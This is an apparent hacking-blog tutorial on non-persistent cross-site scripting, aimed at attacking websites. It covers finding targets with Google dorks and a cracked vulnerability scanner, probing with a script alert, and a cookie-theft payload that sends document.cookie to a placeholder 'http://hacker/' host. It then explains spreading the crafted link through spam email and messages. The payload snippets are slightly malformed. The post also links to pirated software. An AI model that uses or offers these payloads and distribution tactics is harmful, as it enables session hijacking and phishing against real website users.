How to hack a website using Cross site scripting (XSS)

What is  Cross site scripting :-

 As quoted in wiky 
"Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications that enables malicious attackers to inject client-side script into web pages viewed by other users. An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as the same origin policy. Cross-site scripting carried out on websites were roughly 80% of all security vulnerabilities documented by Symantec as of 2007. Their impact may range from a petty nuisance to a significant security risk, depending on the sensitivity of the data handled by the vulnerable site, and the nature of any security mitigations implemented by the site's owner."

There is no single, standardized classification of cross-site scripting flaws. but most 
experts distinguish between at least two primary flavors of XSS non-persistent
and persistent to know whats persistent and non persistent click here

In this tutorial i will explain about  Non-Persitent attack 

First of all you must find a vulnerable site .

How To Find Vulnerable Websites ?

•  Google Hacking
•  Using  web vulnerability scanners

Google hacking :-

Google hacking is the term used when a hacker tries to find exploitable targets and sensitive data by using search engines. The Google Hacking Database (GHDB) is a database of queries that identify sensitive data. Although Google blocks some of the better known Google hacking queries, nothing stops a hacker from crawling any site and launching the Google Hacking Database queries directly onto the crawled content.

Update:- To learn google hacking you can download  

Google Hacking for Penetration Testers book & Password from Here

Web Vulnerability Scanners:

A vulnerability scanner is a computer program designed to assess computers, computer systems, networks or applications for weaknesses. There are a number of types of vulnerability scanners available today, distinguished from one another by a focus on particular targets. While functionality varies between different types of vulnerability scanners, they share a common, core purpose of enumerating the vulnerabilities present in one or more targets. Vulnerability scanners are a core technology component of vulnerability management.

To Download Acunetix Web Vulnerability Scanner follow the given steps below

 1. First Download Acunetix Web Vulnerability  Scanner  including  Crack  from Here

 2. To get the password Click Here

After finding  a site enter a simple java script given bellow in the serch box or url bar

<SCRIPT>alert("XSS testing by ComeToHack.com");

 If a dialog box  pops up as shown then the site it is vulnerable to xss

In the above example we added a harmless alert dialog box
In the next example i will show you how we can add  more sophisticated and
dangours XSS attack to exploit users
One typical example is a simple cookie theft exploit
.

 var+img=new+Image();img.src= "http://hacker/"%20+%20                            document.cookie;

The previous JavaScript creates an image DOM object.

 

var img=new Image();

Since the JavaScript code executed within the http://victim/ context, it has access to the cookies

The image object is then redirected to hackers website where the victim cookies are stored

img.src="http://hacker/"%20+%20document.cookie;

Once the hacker has completed his exploit code, which looks like

 http://victim/ context=">">+var+img=new+Image();img.src= "http://hacker/document.cookie;

Now the hacker will advertise this specially crafted link through spam e-mail , message board posts, Instant Message (IM)messages, and others, trying to attract user clicks. What makes this attack so effective is that
Users are more likely to click on the link because the URL contains the real Web site domainname, rather than a look-alike domain name address as in normal phishing

Hope you liked this post if you have any doubts please be free to comment